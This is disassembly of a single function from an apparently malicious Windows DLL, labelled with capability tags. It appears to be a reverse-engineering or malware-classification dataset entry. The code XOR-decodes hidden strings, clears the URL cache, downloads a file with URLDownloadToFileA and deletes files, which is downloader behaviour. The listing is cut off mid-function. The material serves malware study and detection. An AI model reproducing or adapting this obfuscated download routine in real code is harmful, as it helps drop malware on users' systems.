Function at 0x10003d00
Capabilities:
Authenticate hmac
Delete file
Download url
Encode data using xor
Get common file path
Parse pe header
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022b91
mov eax, dword fs:[0]
push eax
sub esp, 0x334
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xorps xmm0, xmm0
movups xmmword [ebp - 0x12c], xmm0
mov byte [ebp - 0x209], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x208], 0x7a766471
mov dword [ebp - 0x204], 0x6d727a79
mov byte [ebp - 0x200], 0
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 8
jb 0x10003d80
xorps xmm0, xmm0
mov byte [ebp - 0x200], 0
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x134], 0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003dc0
sub ecx, edx
lea eax, [ebp - 0x208]
push ecx
push eax
lea ecx, [ebp - 0x144]
call fcn.10001450
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 1
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x208], 0x4c4e6235
xor ecx, ecx
mov dword [ebp - 0x204], 0x636e613a
mov byte [ebp - 0x200], 0
nop
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 8
jb 0x10003e10
lea eax, [ebp - 0x114]
mov byte [ebp - 0x200], 0
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, byte [ebp - 0x114]
add esp, 0xc
xor al, 0x10
mov byte [ebp - 0x310], al
movzx eax, byte [ebp - 0x113]
xor al, 0x11
mov byte [ebp - 0x30f], al
movzx eax, byte [ebp - 0x112]
xor al, 0x12
mov byte [ebp - 0x30e], al
movzx eax, byte [ebp - 0x111]
xor al, 0x13
mov byte [ebp - 0x30d], al
movzx eax, byte [ebp - 0x110]
xor al, 0x14
mov byte [ebp - 0x30c], al
movzx eax, byte [ebp - 0x10f]
xor al, 0x15
mov byte [ebp - 0x30b], al
movzx eax, byte [ebp - 0x10e]
xor al, 0x16
mov byte [ebp - 0x30a], al
movzx eax, byte [ebp - 0x10d]
xor al, 0x17
mov byte [ebp - 0x309], al
movzx eax, byte [ebp - 0x10c]
xor al, 0x18
mov byte [ebp - 0x308], al
movzx eax, byte [ebp - 0x10b]
xor al, 0x19
mov byte [ebp - 0x307], al
movzx eax, byte [ebp - 0x10a]
xor al, 0x1a
mov byte [ebp - 0x306], al
movzx eax, byte [ebp - 0x109]
xor al, 0x1b
mov byte [ebp - 0x305], al
movzx eax, byte [ebp - 0x108]
xor al, 0x1c
mov byte [ebp - 0x304], al
movzx eax, byte [ebp - 0x107]
xor al, 0x1d
mov byte [ebp - 0x303], al
movzx eax, byte [ebp - 0x106]
xor al, 0x1e
mov byte [ebp - 0x302], al
movzx eax, byte [ebp - 0x105]
xor al, 0x1f
mov byte [ebp - 0x301], al
movzx eax, byte [ebp - 0x104]
xor al, 0x20
mov byte [ebp - 0x300], al
movzx eax, byte [ebp - 0x103]
xor al, 0x21
mov byte [ebp - 0x2ff], al
movzx eax, byte [ebp - 0x102]
xor al, 0x22
mov byte [ebp - 0x2fe], al
movzx eax, byte [ebp - 0x101]
xor al, 0x23
mov byte [ebp - 0x2fd], al
movzx eax, byte [ebp - 0x100]
xor al, 0x24
mov byte [ebp - 0x2fc], al
movzx eax, byte [ebp - 0xff]
xor al, 0x25
mov byte [ebp - 0x2fb], al
movzx eax, byte [ebp - 0xfe]
xor al, 0x26
mov byte [ebp - 0x2fa], al
movzx eax, byte [ebp - 0xfd]
xor al, 0x27
mov byte [ebp - 0x2f9], al
movzx eax, byte [ebp - 0xfc]
xor al, 0x28
mov byte [ebp - 0x2f8], al
movzx eax, byte [ebp - 0xfb]
xor al, 0x29
mov byte [ebp - 0x2f7], al
movzx eax, byte [ebp - 0xfa]
xor al, 0x2a
mov byte [ebp - 0x2f6], al
movzx eax, byte [ebp - 0xf9]
xor al, 0x2b
mov byte [ebp - 0x2f5], al
movzx eax, byte [ebp - 0xf8]
xor al, 0x2c
mov byte [ebp - 0x2f4], al
movzx eax, byte [ebp - 0xf7]
xor al, 0x2d
mov byte [ebp - 0x2f3], al
movzx eax, byte [ebp - 0xf6]
xor al, 0x2e
mov byte [ebp - 0x2f2], al
movzx eax, byte [ebp - 0xf5]
xor al, 0x2f
mov byte [ebp - 0x2f1], al
movzx eax, byte [ebp - 0xf4]
xor al, 0x30
mov byte [ebp - 0x2f0], al
movzx eax, byte [ebp - 0xf3]
xor al, 0x31
mov byte [ebp - 0x2ef], al
movzx eax, byte [ebp - 0xf2]
xor al, 0x32
mov byte [ebp - 0x2ee], al
movzx eax, byte [ebp - 0xf1]
xor al, 0x33
mov byte [ebp - 0x2ed], al
movzx eax, byte [ebp - 0xf0]
xor al, 0x34
mov byte [ebp - 0x2ec], al
movzx eax, byte [ebp - 0xef]
xor al, 0x35
mov byte [ebp - 0x2eb], al
movzx eax, byte [ebp - 0xee]
xor al, 0x36
mov byte [ebp - 0x2ea], al
movzx eax, byte [ebp - 0xed]
xor al, 0x37
mov byte [ebp - 0x2e9], al
movzx eax, byte [ebp - 0xec]
xor al, 0x38
mov byte [ebp - 0x2e8], al
movzx eax, byte [ebp - 0xeb]
xor al, 0x39
mov byte [ebp - 0x2e7], al
movzx eax, byte [ebp - 0xea]
xor al, 0x3a
mov byte [ebp - 0x2e6], al
movzx eax, byte [ebp - 0xe9]
xor al, 0x3b
mov byte [ebp - 0x2e5], al
movzx eax, byte [ebp - 0xe8]
xor al, 0x3c
mov byte [ebp - 0x2e4], al
movzx eax, byte [ebp - 0xe7]
xor al, 0x3d
mov byte [ebp - 0x2e3], al
movzx eax, byte [ebp - 0xe6]
xor al, 0x3e
mov byte [ebp - 0x2e2], al
movzx eax, byte [ebp - 0xe5]
xor al, 0x3f
mov byte [ebp - 0x2e1], al
movzx eax, byte [ebp - 0xe4]
xor al, 0x40
mov byte [ebp - 0x2e0], al
movzx eax, byte [ebp - 0xe3]
xor al, 0x41
mov byte [ebp - 0x2df], al
movzx eax, byte [ebp - 0xe2]
xor al, 0x42
mov byte [ebp - 0x2de], al
movzx eax, byte [ebp - 0xe1]
xor al, 0x43
mov byte [ebp - 0x2dd], al
movzx eax, byte [ebp - 0xe0]
xor al, 0x44
mov byte [ebp - 0x2dc], al
movzx eax, byte [ebp - 0xdf]
xor al, 0x45
mov byte [ebp - 0x2db], al
movzx eax, byte [ebp - 0xde]
xor al, 0x46
mov byte [ebp - 0x2da], al
movzx eax, byte [ebp - 0xdd]
xor al, 0x47
mov byte [ebp - 0x2d9], al
movzx eax, byte [ebp - 0xdc]
xor al, 0x48
mov byte [ebp - 0x2d8], al
movzx eax, byte [ebp - 0xdb]
xor al, 0x49
mov byte [ebp - 0x2d7], al
movzx eax, byte [ebp - 0xda]
xor al, 0x4a
mov byte [ebp - 0x2d6], al
movzx eax, byte [ebp - 0xd9]
xor al, 0x4b
mov byte [ebp - 0x2d5], al
movzx eax, byte [ebp - 0xd8]
xor al, 0x4c
mov byte [ebp - 0x2d4], al
movzx eax, byte [ebp - 0xd7]
xor al, 0x4d
mov byte [ebp - 0x2d3], al
movzx eax, byte [ebp - 0xd6]
xor al, 0x4e
mov byte [ebp - 0x2d2], al
movzx eax, byte [ebp - 0xd5]
xor al, 0x4f
mov byte [ebp - 0x2d1], al
movzx eax, byte [ebp - 0xd4]
xor al, 0x50
mov byte [ebp - 0x2d0], al
movzx eax, byte [ebp - 0xd3]
xor al, 0x51
mov byte [ebp - 0x2cf], al
movzx eax, byte [ebp - 0xd2]
xor al, 0x52
mov byte [ebp - 0x2ce], al
movzx eax, byte [ebp - 0xd1]
xor al, 0x53
mov byte [ebp - 0x2cd], al
movzx eax, byte [ebp - 0xd0]
xor al, 0x54
mov byte [ebp - 0x2cc], al
movzx eax, byte [ebp - 0xcf]
xor al, 0x55
mov byte [ebp - 0x2cb], al
movzx eax, byte [ebp - 0xce]
xor al, 0x56
mov byte [ebp - 0x2ca], al
movzx eax, byte [ebp - 0xcd]
xor al, 0x57
mov byte [ebp - 0x2c9], al
movzx eax, byte [ebp - 0xcc]
xor al, 0x58
mov byte [ebp - 0x2c8], al
movzx eax, byte [ebp - 0xcb]
xor al, 0x59
mov byte [ebp - 0x2c7], al
movzx eax, byte [ebp - 0xca]
xor al, 0x5a
mov byte [ebp - 0x2c6], al
movzx eax, byte [ebp - 0xc9]
xor al, 0x5b
mov byte [ebp - 0x2c5], al
movzx eax, byte [ebp - 0xc8]
xor al, 0x5c
mov byte [ebp - 0x2c4], al
movzx eax, byte [ebp - 0xc7]
xor al, 0x5d
mov byte [ebp - 0x2c3], al
movzx eax, byte [ebp - 0xc6]
xor al, 0x5e
mov byte [ebp - 0x2c2], al
movzx eax, byte [ebp - 0xc5]
xor al, 0x5f
mov byte [ebp - 0x2c1], al
movzx eax, byte [ebp - 0xc4]
xor al, 0x60
mov byte [ebp - 0x2c0], al
movzx eax, byte [ebp - 0xc3]
xor al, 0x61
mov byte [ebp - 0x2bf], al
movzx eax, byte [ebp - 0xc2]
xor al, 0x62
mov byte [ebp - 0x2be], al
movzx eax, byte [ebp - 0xc1]
xor al, 0x63
mov byte [ebp - 0x2bd], al
movzx eax, byte [ebp - 0xc0]
xor al, 0x64
mov byte [ebp - 0x2bc], al
movzx eax, byte [ebp - 0xbf]
xor al, 0x65
mov byte [ebp - 0x2bb], al
movzx eax, byte [ebp - 0xbe]
xor al, 0x66
mov byte [ebp - 0x2ba], al
movzx eax, byte [ebp - 0xbd]
xor al, 0x67
mov byte [ebp - 0x2b9], al
movzx eax, byte [ebp - 0xbc]
xor al, 0x68
mov byte [ebp - 0x2b8], al
movzx eax, byte [ebp - 0xbb]
xor al, 0x69
mov byte [ebp - 0x2b7], al
movzx eax, byte [ebp - 0xba]
xor al, 0x6a
mov byte [ebp - 0x2b6], al
movzx eax, byte [ebp - 0xb9]
xor al, 0x6b
mov byte [ebp - 0x2b5], al
movzx eax, byte [ebp - 0xb8]
xor al, 0x6c
mov byte [ebp - 0x2b4], al
movzx eax, byte [ebp - 0xb7]
xor al, 0x6d
mov byte [ebp - 0x2b3], al
movzx eax, byte [ebp - 0xb6]
xor al, 0x6e
mov byte [ebp - 0x2b2], al
movzx eax, byte [ebp - 0xb5]
xor al, 0x6f
mov byte [ebp - 0x2b1], al
movzx eax, byte [ebp - 0xb4]
xor al, 0x70
mov byte [ebp - 0x2b0], al
movzx eax, byte [ebp - 0xb3]
xor al, 0x71
mov byte [ebp - 0x2af], al
movzx eax, byte [ebp - 0xb2]
xor al, 0x72
mov byte [ebp - 0x2ae], al
movzx eax, byte [ebp - 0xb1]
xor al, 0x73
mov byte [ebp - 0x2ad], al
movzx eax, byte [ebp - 0xb0]
xor al, 0x74
mov byte [ebp - 0x2ac], al
movzx eax, byte [ebp - 0xaf]
xor al, 0x75
mov byte [ebp - 0x2ab], al
movzx eax, byte [ebp - 0xae]
xor al, 0x76
mov byte [ebp - 0x2aa], al
movzx eax, byte [ebp - 0xad]
xor al, 0x77
mov byte [ebp - 0x2a9], al
movzx eax, byte [ebp - 0xac]
xor al, 0x78
mov byte [ebp - 0x2a8], al
movzx eax, byte [ebp - 0xab]
xor al, 0x79
mov byte [ebp - 0x2a7], al
movzx eax, byte [ebp - 0xaa]
xor al, 0x7a
mov byte [ebp - 0x2a6], al
movzx eax, byte [ebp - 0xa9]
xor al, 0x7b
mov byte [ebp - 0x2a5], al
movzx eax, byte [ebp - 0xa8]
xor al, 0x7c
mov byte [ebp - 0x2a4], al
movzx eax, byte [ebp - 0xa7]
xor al, 0x7d
mov byte [ebp - 0x2a3], al
movzx eax, byte [ebp - 0xa6]
xor al, 0x7e
mov byte [ebp - 0x2a2], al
movzx eax, byte [ebp - 0xa5]
xor al, 0x7f
mov byte [ebp - 0x2a1], al
movzx eax, byte [ebp - 0xa4]
xor al, 0x80
mov byte [ebp - 0x2a0], al
movzx eax, byte [ebp - 0xa3]
xor al, 0x81
mov byte [ebp - 0x29f], al
movzx eax, byte [ebp - 0xa2]
xor al, 0x82
mov byte [ebp - 0x29e], al
movzx eax, byte [ebp - 0xa1]
xor al, 0x83
mov byte [ebp - 0x29d], al
movzx eax, byte [ebp - 0xa0]
xor al, 0x84
mov byte [ebp - 0x29c], al
movzx eax, byte [ebp - 0x9f]
xor al, 0x85
mov byte [ebp - 0x29b], al
movzx eax, byte [ebp - 0x9e]
xor al, 0x86
mov byte [ebp - 0x29a], al
movzx eax, byte [ebp - 0x9d]
xor al, 0x87
mov byte [ebp - 0x299], al
movzx eax, byte [ebp - 0x9c]
xor al, 0x88
mov byte [ebp - 0x298], al
movzx eax, byte [ebp - 0x9b]
xor al, 0x89
mov byte [ebp - 0x297], al
movzx eax, byte [ebp - 0x9a]
xor al, 0x8a
mov byte [ebp - 0x296], al
movzx eax, byte [ebp - 0x99]
xor al, 0x8b
mov byte [ebp - 0x295], al
movzx eax, byte [ebp - 0x98]
xor al, 0x8c
mov byte [ebp - 0x294], al
movzx eax, byte [ebp - 0x97]
xor al, 0x8d
mov byte [ebp - 0x293], al
movzx eax, byte [ebp - 0x96]
xor al, 0x8e
mov byte [ebp - 0x292], al
movzx eax, byte [ebp - 0x95]
xor al, 0x8f
mov byte [ebp - 0x291], al
movzx eax, byte [ebp - 0x94]
xor al, 0x90
mov byte [ebp - 0x290], al
movzx eax, byte [ebp - 0x93]
xor al, 0x91
mov byte [ebp - 0x28f], al
movzx eax, byte [ebp - 0x92]
xor al, 0x92
mov byte [ebp - 0x28e], al
movzx eax, byte [ebp - 0x91]
xor al, 0x93
mov byte [ebp - 0x28d], al
movzx eax, byte [ebp - 0x90]
xor al, 0x94
mov byte [ebp - 0x28c], al
movzx eax, byte [ebp - 0x8f]
xor al, 0x95
mov byte [ebp - 0x28b], al
movzx eax, byte [ebp - 0x8e]
xor al, 0x96
mov byte [ebp - 0x28a], al
movzx eax, byte [ebp - 0x8d]
xor al, 0x97
mov byte [ebp - 0x289], al
movzx eax, byte [ebp - 0x8c]
xor al, 0x98
mov byte [ebp - 0x288], al
movzx eax, byte [ebp - 0x8b]
xor al, 0x99
mov byte [ebp - 0x287], al
movzx eax, byte [ebp - 0x8a]
xor al, 0x9a
mov byte [ebp - 0x286], al
movzx eax, byte [ebp - 0x89]
xor al, 0x9b
mov byte [ebp - 0x285], al
movzx eax, byte [ebp - 0x88]
xor al, 0x9c
mov byte [ebp - 0x284], al
movzx eax, byte [ebp - 0x87]
xor al, 0x9d
mov byte [ebp - 0x283], al
movzx eax, byte [ebp - 0x86]
xor al, 0x9e
mov byte [ebp - 0x282], al
movzx eax, byte [ebp - 0x85]
xor al, 0x9f
mov byte [ebp - 0x281], al
movzx eax, byte [ebp - 0x84]
xor al, 0xa0
mov byte [ebp - 0x280], al
movzx eax, byte [ebp - 0x83]
xor al, 0xa1
mov byte [ebp - 0x27f], al
movzx eax, byte [ebp - 0x82]
xor al, 0xa2
mov byte [ebp - 0x27e], al
movzx eax, byte [ebp - 0x81]
xor al, 0xa3
mov byte [ebp - 0x27d], al
movzx eax, byte [ebp - 0x80]
xor al, 0xa4
mov byte [ebp - 0x27c], al
movzx eax, byte [ebp - 0x7f]
xor al, 0xa5
mov byte [ebp - 0x27b], al
movzx eax, byte [ebp - 0x7e]
xor al, 0xa6
mov byte [ebp - 0x27a], al
movzx eax, byte [ebp - 0x7d]
xor al, 0xa7
mov byte [ebp - 0x279], al
movzx eax, byte [ebp - 0x7c]
xor al, 0xa8
mov byte [ebp - 0x278], al
movzx eax, byte [ebp - 0x7b]
xor al, 0xa9
mov byte [ebp - 0x277], al
movzx eax, byte [ebp - 0x7a]
xor al, 0xaa
mov byte [ebp - 0x276], al
movzx eax, byte [ebp - 0x79]
xor al, 0xab
mov byte [ebp - 0x275], al
movzx eax, byte [ebp - 0x78]
xor al, 0xac
mov byte [ebp - 0x274], al
movzx eax, byte [ebp - 0x77]
xor al, 0xad
mov byte [ebp - 0x273], al
movzx eax, byte [ebp - 0x76]
xor al, 0xae
mov byte [ebp - 0x272], al
movzx eax, byte [ebp - 0x75]
xor al, 0xaf
mov byte [ebp - 0x271], al
movzx eax, byte [ebp - 0x74]
xor al, 0xb0
mov byte [ebp - 0x270], al
movzx eax, byte [ebp - 0x73]
xor al, 0xb1
mov byte [ebp - 0x26f], al
movzx eax, byte [ebp - 0x72]
xor al, 0xb2
mov byte [ebp - 0x26e], al
movzx eax, byte [ebp - 0x71]
xor al, 0xb3
mov byte [ebp - 0x26d], al
movzx eax, byte [ebp - 0x70]
xor al, 0xb4
mov byte [ebp - 0x26c], al
movzx eax, byte [ebp - 0x6f]
xor al, 0xb5
mov byte [ebp - 0x26b], al
movzx eax, byte [ebp - 0x6e]
xor al, 0xb6
mov byte [ebp - 0x26a], al
movzx eax, byte [ebp - 0x6d]
xor al, 0xb7
mov byte [ebp - 0x269], al
movzx eax, byte [ebp - 0x6c]
xor al, 0xb8
mov byte [ebp - 0x268], al
movzx eax, byte [ebp - 0x6b]
xor al, 0xb9
mov byte [ebp - 0x267], al
movzx eax, byte [ebp - 0x6a]
xor al, 0xba
mov byte [ebp - 0x266], al
movzx eax, byte [ebp - 0x69]
xor al, 0xbb
mov byte [ebp - 0x265], al
movzx eax, byte [ebp - 0x68]
xor al, 0xbc
mov byte [ebp - 0x264], al
movzx eax, byte [ebp - 0x67]
xor al, 0xbd
mov byte [ebp - 0x263], al
movzx eax, byte [ebp - 0x66]
xor al, 0xbe
mov byte [ebp - 0x262], al
movzx eax, byte [ebp - 0x65]
xor al, 0xbf
mov byte [ebp - 0x261], al
movzx eax, byte [ebp - 0x64]
xor al, 0xc0
mov byte [ebp - 0x260], al
movzx eax, byte [ebp - 0x63]
xor al, 0xc1
mov byte [ebp - 0x25f], al
movzx eax, byte [ebp - 0x62]
xor al, 0xc2
mov byte [ebp - 0x25e], al
movzx eax, byte [ebp - 0x61]
xor al, 0xc3
mov byte [ebp - 0x25d], al
movzx eax, byte [ebp - 0x60]
xor al, 0xc4
mov byte [ebp - 0x25c], al
movzx eax, byte [ebp - 0x5f]
xor al, 0xc5
mov byte [ebp - 0x25b], al
movzx eax, byte [ebp - 0x5e]
xor al, 0xc6
mov byte [ebp - 0x25a], al
movzx eax, byte [ebp - 0x5d]
xor al, 0xc7
mov byte [ebp - 0x259], al
movzx eax, byte [ebp - 0x5c]
xor al, 0xc8
mov byte [ebp - 0x258], al
movzx eax, byte [ebp - 0x5b]
xor al, 0xc9
mov byte [ebp - 0x257], al
movzx eax, byte [ebp - 0x5a]
xor al, 0xca
mov byte [ebp - 0x256], al
movzx eax, byte [ebp - 0x59]
xor al, 0xcb
mov byte [ebp - 0x255], al
movzx eax, byte [ebp - 0x58]
xor al, 0xcc
mov byte [ebp - 0x254], al
movzx eax, byte [ebp - 0x57]
xor al, 0xcd
mov byte [ebp - 0x253], al
movzx eax, byte [ebp - 0x56]
xor al, 0xce
mov byte [ebp - 0x252], al
movzx eax, byte [ebp - 0x55]
xor al, 0xcf
mov byte [ebp - 0x251], al
movzx eax, byte [ebp - 0x54]
xor al, 0xd0
mov byte [ebp - 0x250], al
movzx eax, byte [ebp - 0x53]
xor al, 0xd1
mov byte [ebp - 0x24f], al
movzx eax, byte [ebp - 0x52]
xor al, 0xd2
mov byte [ebp - 0x24e], al
movzx eax, byte [ebp - 0x51]
xor al, 0xd3
mov byte [ebp - 0x24d], al
movzx eax, byte [ebp - 0x50]
xor al, 0xd4
mov byte [ebp - 0x24c], al
movzx eax, byte [ebp - 0x4f]
xor al, 0xd5
mov byte [ebp - 0x24b], al
movzx eax, byte [ebp - 0x4e]
xor al, 0xd6
mov byte [ebp - 0x24a], al
movzx eax, byte [ebp - 0x4d]
xor al, 0xd7
mov byte [ebp - 0x249], al
movzx eax, byte [ebp - 0x4c]
xor al, 0xd8
mov byte [ebp - 0x248], al
movzx eax, byte [ebp - 0x4b]
xor al, 0xd9
mov byte [ebp - 0x247], al
movzx eax, byte [ebp - 0x4a]
xor al, 0xda
mov byte [ebp - 0x246], al
movzx eax, byte [ebp - 0x49]
xor al, 0xdb
mov byte [ebp - 0x245], al
movzx eax, byte [ebp - 0x48]
xor al, 0xdc
mov byte [ebp - 0x244], al
movzx eax, byte [ebp - 0x47]
xor al, 0xdd
mov byte [ebp - 0x243], al
movzx eax, byte [ebp - 0x46]
xor al, 0xde
mov byte [ebp - 0x242], al
movzx eax, byte [ebp - 0x45]
xor al, 0xdf
mov byte [ebp - 0x241], al
movzx eax, byte [ebp - 0x44]
xor al, 0xe0
mov byte [ebp - 0x240], al
movzx eax, byte [ebp - 0x43]
xor al, 0xe1
mov byte [ebp - 0x23f], al
movzx eax, byte [ebp - 0x42]
xor al, 0xe2
mov byte [ebp - 0x23e], al
movzx eax, byte [ebp - 0x41]
xor al, 0xe3
mov byte [ebp - 0x23d], al
movzx eax, byte [ebp - 0x40]
xor al, 0xe4
mov byte [ebp - 0x23c], al
movzx eax, byte [ebp - 0x3f]
xor al, 0xe5
mov byte [ebp - 0x23b], al
movzx eax, byte [ebp - 0x3e]
xor al, 0xe6
mov byte [ebp - 0x23a], al
movzx eax, byte [ebp - 0x3d]
xor al, 0xe7
mov byte [ebp - 0x239], al
movzx eax, byte [ebp - 0x3c]
xor al, 0xe8
mov byte [ebp - 0x238], al
movzx eax, byte [ebp - 0x3b]
xor al, 0xe9
mov byte [ebp - 0x237], al
movzx eax, byte [ebp - 0x3a]
xor al, 0xea
mov byte [ebp - 0x236], al
movzx eax, byte [ebp - 0x39]
xor al, 0xeb
mov byte [ebp - 0x235], al
movzx eax, byte [ebp - 0x38]
xor al, 0xec
mov byte [ebp - 0x234], al
movzx eax, byte [ebp - 0x37]
xor al, 0xed
mov byte [ebp - 0x233], al
movzx eax, byte [ebp - 0x36]
xor al, 0xee
mov byte [ebp - 0x232], al
movzx eax, byte [ebp - 0x35]
xor al, 0xef
mov byte [ebp - 0x231], al
movzx eax, byte [ebp - 0x34]
xor al, 0xf0
mov byte [ebp - 0x230], al
movzx eax, byte [ebp - 0x33]
xor al, 0xf1
mov byte [ebp - 0x22f], al
movzx eax, byte [ebp - 0x32]
xor al, 0xf2
mov byte [ebp - 0x22e], al
movzx eax, byte [ebp - 0x31]
xor al, 0xf3
mov byte [ebp - 0x22d], al
movzx eax, byte [ebp - 0x30]
xor al, 0xf4
mov byte [ebp - 0x22c], al
movzx eax, byte [ebp - 0x2f]
xor al, 0xf5
mov byte [ebp - 0x22b], al
movzx eax, byte [ebp - 0x2e]
xor al, 0xf6
mov byte [ebp - 0x22a], al
movzx eax, byte [ebp - 0x2d]
xor al, 0xf7
mov byte [ebp - 0x229], al
movzx eax, byte [ebp - 0x2c]
xor al, 0xf8
mov byte [ebp - 0x228], al
movzx eax, byte [ebp - 0x2b]
xor al, 0xf9
mov byte [ebp - 0x227], al
movzx eax, byte [ebp - 0x2a]
xor al, 0xfa
mov byte [ebp - 0x226], al
movzx eax, byte [ebp - 0x29]
xor al, 0xfb
mov byte [ebp - 0x225], al
movzx eax, byte [ebp - 0x28]
xor al, 0xfc
mov byte [ebp - 0x224], al
movzx eax, byte [ebp - 0x27]
xor al, 0xfd
mov byte [ebp - 0x223], al
movzx eax, byte [ebp - 0x26]
xor al, 0xfe
mov byte [ebp - 0x222], al
movzx eax, byte [ebp - 0x25]
not al
mov byte [ebp - 0x221], al
movzx eax, byte [ebp - 0x24]
mov byte [ebp - 0x220], al
movzx eax, byte [ebp - 0x23]
xor al, 1
mov byte [ebp - 0x20d], 0
mov byte [ebp - 0x21f], al
movzx eax, byte [ebp - 0x22]
xor al, 2
mov byte [ebp - 0x21e], al
movzx eax, byte [ebp - 0x21]
xor al, 3
mov byte [ebp - 0x21d], al
movzx eax, byte [ebp - 0x20]
xor al, 4
mov byte [ebp - 0x21c], al
movzx eax, byte [ebp - 0x1f]
xor al, 5
mov byte [ebp - 0x21b], al
movzx eax, byte [ebp - 0x1e]
xor al, 6
mov byte [ebp - 0x21a], al
movzx eax, byte [ebp - 0x1d]
xor al, 7
mov byte [ebp - 0x219], al
movzx eax, byte [ebp - 0x1c]
xor al, 8
mov byte [ebp - 0x218], al
movzx eax, byte [ebp - 0x1b]
xor al, 9
mov byte [ebp - 0x217], al
movzx eax, byte [ebp - 0x1a]
xor al, 0xa
mov byte [ebp - 0x216], al
movzx eax, byte [ebp - 0x19]
xor al, 0xb
mov byte [ebp - 0x215], al
movzx eax, byte [ebp - 0x18]
xor al, 0xc
mov byte [ebp - 0x214], al
movzx eax, byte [ebp - 0x17]
xor al, 0xd
mov byte [ebp - 0x213], al
movzx eax, byte [ebp - 0x16]
xor al, 0xe
mov byte [ebp - 0x212], al
movzx eax, byte [ebp - 0x15]
xor al, 0xf
mov byte [ebp - 0x211], al
movzx eax, byte [ebp - 0x14]
xor al, 0x10
mov byte [ebp - 0x210], al
movzx eax, byte [ebp - 0x13]
xor al, 0x11
mov byte [ebp - 0x20f], al
movzx eax, byte [ebp - 0x12]
xor al, 0x12
xor ecx, ecx
mov byte [ebp - 0x20e], al
nop dword [eax]
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x310], al
inc ecx
cmp ecx, 0x103
jb 0x10004c30
xorps xmm0, xmm0
mov byte [ebp - 0x20d], 0
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x330], 0
movups xmmword [ebp - 0x340], xmm0
mov dword [ebp - 0x32c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004c71
sub ecx, edx
lea eax, [ebp - 0x310]
push ecx
push eax
lea ecx, [ebp - 0x340]
call fcn.10001450
mov ecx, esi
mov byte [ebp - 4], 2
xorps xmm0, xmm0
mov dword [ebp - 0x318], 0
movups xmmword [ebp - 0x328], xmm0
mov dword [ebp - 0x314], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004cb4
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x328]
call fcn.10001450
cmp dword [ebp - 0x314], 0x10
lea eax, [ebp - 0x328]
mov byte [ebp - 4], 1
cmovae eax, dword [ebp - 0x328]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
cmp dword [ebp - 0x32c], 0x10
lea ecx, [ebp - 0x340]
push 0
cmovae ecx, dword [ebp - 0x340]
lea eax, [ebp - 0x328]
cmp dword [ebp - 0x314], 0x10
push 0
cmovae eax, dword [ebp - 0x328]
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 0x314]
test eax, eax
js 0x10004e6f
cmp ecx, 0x10
jb 0x10004d60
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004d56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100050e4
push ecx
push edx
call fcn.1000b78a
add esp, 8
mov ecx, dword [ebp - 0x32c]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
cmp ecx, 0x10
jb 0x10004db5
mov edx, dword [ebp - 0x340]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004dab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100050e4
push ecx
push edx
call fcn.1000b78a
add esp, 8
push 0xb8
lea eax, [ebp - 0x1fc]
push 0
push eax
call fcn.1000d420
add esp, 0xc
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x1fc]
push 1
push 0x40
push 1
push eax
call fcn.10001830
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x1fc]
push eax
call fcn.10001220
mov edi, dword [ebp - 0x144]
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10004f86
nop dword [eax]
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x12c]
lea eax, [ebp - 0x144]
cmovae ecx, dword [ebp - 0x12c]
cmp dword [ebp - 0x130], 0x10
cmovae eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10004efb
test dl, dl
je 0x10004e68
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10004efb
add eax, 2
add ecx, 2
test dl, dl
jne 0x10004e44
xor eax, eax
jmp 0x10004f00
cmp ecx, 0x10
jb 0x10004ea3
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004e99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100050e4
push ecx
push edx
call fcn.1000b78a
add esp, 8
mov ecx, dword [ebp - 0x32c]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
cmp ecx, 0x10
jb 0x10004db5
mov edx, dword [ebp - 0x340]
inc ecx
mov eax, edx
